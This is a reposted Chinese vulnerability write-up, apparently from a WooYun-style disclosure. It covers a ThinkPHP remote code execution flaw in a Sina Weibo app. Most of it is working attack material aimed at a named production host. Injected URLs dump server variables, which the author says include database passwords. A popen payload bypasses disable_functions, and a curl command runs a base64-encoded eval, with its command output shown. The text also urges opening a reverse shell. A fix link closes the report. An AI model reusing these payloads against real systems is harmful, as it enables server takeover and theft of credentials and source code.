来源:自学PHP网 时间:2015-04-17 14:11 作者: 阅读:次
[导读] 新浪微博存在一处任意代码执行漏洞,但服务器有些disable_function限制,可惜太粗糙,导致绕过,反弹服务器shell,并可进一步渗透攻击。详细说明:Thinkphp的补丁被wooyun平台分析后,自己...
新浪微博存在一处任意代码执行漏洞,但服务器有些disable_function限制,可惜太粗糙,导致绕过,反弹服务器shell,并可进一步渗透攻击。
详细说明:Thinkphp的补丁被wooyun平台分析后,自己也读了一把,对漏洞发现者甚是膜拜,同时wofeiwo的出色分析也让人精神为之一爽,顿时湿了。 这个漏洞因为工作原因跟的慢了一些,去官方成功案例看了一下,没想到看到新浪微博一个应用用了这个框架,看了一把,确实存在哟。 http://tan.weibo.com/h/1/236/aaa/$%7B@print_r($_SERVER)%7D 读取到了服务器的$_SERVER变量,里面甚至还存在数据库地址与密码。。 本想执行个命令就提交wooyun,但是disable_functions了 http://tan.weibo.com/h/1/236/aaa/$%7B@print(get_cfg_var('disable_functions'))%7D 返回: phpinfo,system,exec,shell_exec,passthru,proc_open,proc_close,show_source 呵呵,弱了点,突破方法很多,这里用popen做个exploit error_reporting(E_ALL);$handle = popen('/bin/sh -c '."'$_POST[x]'".' 2>&1', 'r');echo "'$handle'; " . gettype($handle) . "\n";$read = fread($handle, 2096);echo $read;pclose($handle);die(); 为什么用POST是因为框架的URI取值问题,POST就畅通无阻了 这个地方没处理单引号,方便了一些,但是poc里面的某些代码会干扰取值,所以encode一下 curl "http://tan.weibo.com/h/1/236/aaa/$%7B@eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTskaGFuZGxlID0gcG9wZW4oJy9iaW4vc2ggLWMgJy4iJyRfUE9TVFt4XSciLicgMj4mMScsICdyJyk7ZWNobyAiJyRoYW5kbGUnOyAiIC4gZ2V0dHlwZSgkaGFuZGxlKSAuICJcbiI7JHJlYWQgPSBmcmVhZCgkaGFuZGxlLCAyMDk2KTtlY2hvICRyZWFkO3BjbG9zZSgkaGFuZGxlKTtkaWUoKTs'))%7D" -d "x=ls" 'Resource id #33'; resource Api Conf Data Lib Public ThinkPHP Tpl api.php co.php db favicon.ico index.php oauthcallback.php pictureDownLoad.php ssocallback.php system t.php 嘿。 这个因为访问权限的问题,可以访问到这个服务器上所有的源码。 因为是服务器群,所以执行的命令可能一会A,一会B,一会C。。这个自己想办法吧,既然可以执行命令了,直接弹shell。 漏洞证明: 修复方案:修复方案: https://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838 ThinkPHP漏洞分析:http://www.2cto.com/Article/201204/126822.html 作者 牛奶坦克 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com